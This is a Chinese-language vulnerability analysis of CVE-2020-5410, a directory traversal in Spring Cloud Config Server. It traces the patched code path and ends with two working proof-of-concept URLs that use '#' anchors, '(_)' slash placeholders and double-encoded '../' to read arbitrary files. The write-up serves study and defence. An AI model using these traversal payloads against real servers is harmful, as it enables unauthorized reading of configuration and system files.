# （CVE-2020-5410）Spring Cloud Config 目录穿越漏洞

## 一、漏洞简介

Spring Cloud Config，2.2.3之前的2.2.x版本，2.1.9之前的2.1.x版本以及较旧的不受支持的版本允许应用程序通过spring-cloud-config-server模块提供任意配置文件。恶意用户或攻击者可以使用特制URL发送请求，这可能导致目录遍历攻击。

## 二、漏洞影响

Spring Cloud Config，2.2.3之前的2.2.x版本，2.1.9之前的2.1.x版本

## 三、复现过程

### 漏洞分析

这次补丁主要是两个部分,第一个部分是将对路径的检测方法单独的封装了出来,封装到了PathUtils类中,并且做了部分的修改,其中最主要的是检测了`#`,至于是为什么,后面来说。

![1.png](images/2020_06_25/052e2cd965804b79a8ca162fb19f06a0.png)

第二部分,也就是漏洞的触发入口，在environment/EnvironmentController.java中,增加了对name、label字段的检测

![2.png](images/2020_06_25/0b1f3cdc840140febdfd9e49fe690dfb.png)

通过补丁我们可以大概知道漏洞应该是出在EnvironmentController,但是具体怎么触发并不知道,所以我们需要跟一遍正常逻辑看一下处理流程。
既然是目录穿越漏洞,我们先通过环境变量设置本地读取

```
profiles:
    active: native
  cloud:
    config:
      server:
        native:
          search-locations:
            - file:/test/config-repo-master

```

然后使用正确的请求来动态跟踪调用堆栈`http://www.baidu.com:8889/111/222/333`,将断点打在入口处,然后往下跟

![3.png](images/2020_06_25/c21512ee8d924eb3b56736fa1060c004.png)

在跟到`environment/NativeEnvironmentRepository.java`的时候发现参数进行了拼接,

![4.png](images/2020_06_25/94293eec5bdc4e6086ade916d1577504.png)

重新跟进getArgs看一下

```
private String[] getArgs(String application, String profile, String label) {
        List<String> list = new ArrayList<String>();
        String config = application;
        if (!config.startsWith("application")) {
            config = "application," + config;
        }
        list.add("--spring.config.name=" + config);
        list.add("--spring.cloud.bootstrap.enabled=false");
        list.add("--encrypt.failOnError=" + this.failOnError);
        list.add("--spring.config.location=" + StringUtils.arrayToCommaDelimitedString(
                getLocations(application, profile, label).getLocations()));
        return list.toArray(new String[0]);
    }

```

主要在getLocations中对路径进行了下拼接,声称了一个将env中的uri拼接了label,生成新的location,那么这个点就是我们目录穿越的关键,继续往下跟,在`environment/NativeEnvironmentRepository.java`中会将args传入spring boot的`ConfigurableApplicationContext context = builder.run(args)`,后面会使用loader.load函数加载资源,在加载资源的时候会遍历locations拼接name来获取资源,首先来判断是否存在文件,如果文件存在,则去使用url.openConnection来获取资源,通过分析我们知道label和name是我们可控的传入,

```
url = env-uri+label+name+extension

```

因为是借助的url.openConnection,结合补丁增加了`#`限制,我们可以清楚的知道通过在name中以`#`结尾,使extension成为锚点,也就绕过了后缀的限制。
在构造poc之前其实还有一个问题，就是这里我们知道一开始是没有对路径进行检测的,那么我们是否可以直接使用`../../`来穿越呢?答案是否,因为如果我们想要传入后端处理,必须二次url编码,但是二次编码后,首先经过的是判断文件是否存在,如果存在才调用url.openConnection来处理,经过一次解码后,显然该路径文件是不存在的。

![5.png](images/2020_06_25/edd126edb5414ebea5f64997f8760cb4.png)

这里就有了跟CVE-2020-5405一样的操作,将`(_)`替换成了`/`,处理方法在

```
public static String normalize(String s) {
        if (s != null && s.contains(SLASH_PLACEHOLDER)) {
            // "(_)" is uncommon in a git repo name, but "/" cannot be matched
            // by Spring MVC
            return s.replace(SLASH_PLACEHOLDER, "/");
        }
        return s;
    }

```

### poc

```
http://www.baidu.com:8889/flag.txt%23/222/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29tmp%28_%29

```

![6.png](images/2020_06_25/c82b09600ba448bd9c676416acc287bf.png)

构造完这个poc会想到,既然是label+name来拼接的,我们是否可以不用管label,目录穿越的方法在name处构造呢?

答案是可以的,poc如下

```
http://www.baidu.com:8889/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Ftmp%252Fflag.txt%23/222/11

```

![7.png](images/2020_06_25/02a4c830d6d347f9b3788f.png)